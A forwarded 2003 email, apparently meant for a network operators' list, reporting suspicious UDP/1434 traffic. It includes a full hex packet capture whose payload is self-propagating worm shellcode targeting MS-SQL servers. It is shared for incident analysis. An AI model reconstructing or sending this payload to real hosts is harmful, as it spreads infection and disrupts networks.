-- Alex Rubenstein, AR97, K2AHR, alex@nac.net, latency, Al Reuben -- -- Net Access Corporation, 800-NET-ME-36, http://www.nac.net -- ---------- Forwarded message ---------- Date: Sat, 25 Jan 2003 01:50:34 -0500 From: Tim Yocum <tim@yocum.org> To: "alex@nac.net" <alex@nac.net> Subject: fyi Might pass this along to nanog@ or anyone who cares to dig a bit deeper. I'm not subscribed to the list. Same packet structure, same length, different source port, always udp/1434. 0:48:25.375117 62.216.151.17.4322 > unknown.Level3.net.ms-sql-m: [udp sum ok] udp 376 (ttl 117, id 52118, len 404) 0x0000 4500 0194 cb96 0000 7511 ebef 3ed8 9711 E.......u...>... 0x0010 d1f7 e4f1 10e2 059a 0180 9796 0401 0101 ................ 0x0020 0101 0101 0101 0101 0101 0101 0101 0101 ................ 0x0030 0101 0101 0101 0101 0101 0101 0101 0101 ................ 0x0040 0101 0101 0101 0101 0101 0101 0101 0101 ................ 0x0050 0101 0101 0101 0101 0101 0101 0101 0101 ................ 0x0060 0101 0101 0101 0101 0101 0101 0101 0101 ................ 0x0070 0101 0101 0101 0101 0101 0101 01dc c9b0 ................ 0x0080 42eb 0e01 0101 0101 0101 70ae 4201 70ae B.........p.B.p. 0x0090 4290 9090 9090 9090 9068 dcc9 b042 b801 B........h...B.. 0x00a0 0101 0131 c9b1 1850 e2fd 3501 0101 0550 ...1...P..5....P 0x00b0 89e5 5168 2e64 6c6c 6865 6c33 3268 6b65 ..Qh.dllhel32hke 0x00c0 726e 5168 6f75 6e74 6869 636b 4368 4765 rnQhounthickChGe 0x00d0 7454 66b9 6c6c 5168 3332 2e64 6877 7332 tTf.llQh32.dhws2 0x00e0 5f66 b965 7451 6873 6f63 6b66 b974 6f51 _f.etQhsockf.toQ 0x00f0 6873 656e 64be 1810 ae42 8d45 d450 ff16 hsend....B.E.P.. 0x0100 508d 45e0 508d 45f0 50ff 1650 be10 10ae P.E.P.E.P..P.... 0x0110 428b 1e8b 033d 558b ec51 7405 be1c 10ae B....=U..Qt..... 0x0120 42ff 16ff d031 c951 5150 81f1 0301 049b B....1.QQP...... 0x0130 81f1 0101 0101 518d 45cc 508b 45c0 50ff ......Q.E.P.E.P. 0x0140 166a 116a 026a 02ff d050 8d45 c450 8b45 .j.j.j...P.E.P.E 0x0150 c050 ff16 89c6 09db 81f3 3c61 d9ff 8b45 .P........<a...E 0x0160 b48d 0c40 8d14 88c1 e204 01c2 c1e2 0829 ...@...........) 0x0170 c28d 0490 01d8 8945 b46a 108d 45b0 5031 .......E.j..E.P1 0x0180 c951 6681 f178 0151 8d45 0350 8b45 ac50 .Qf..x.Q.E.P.E.P 0x0190 ffd6 ebca ....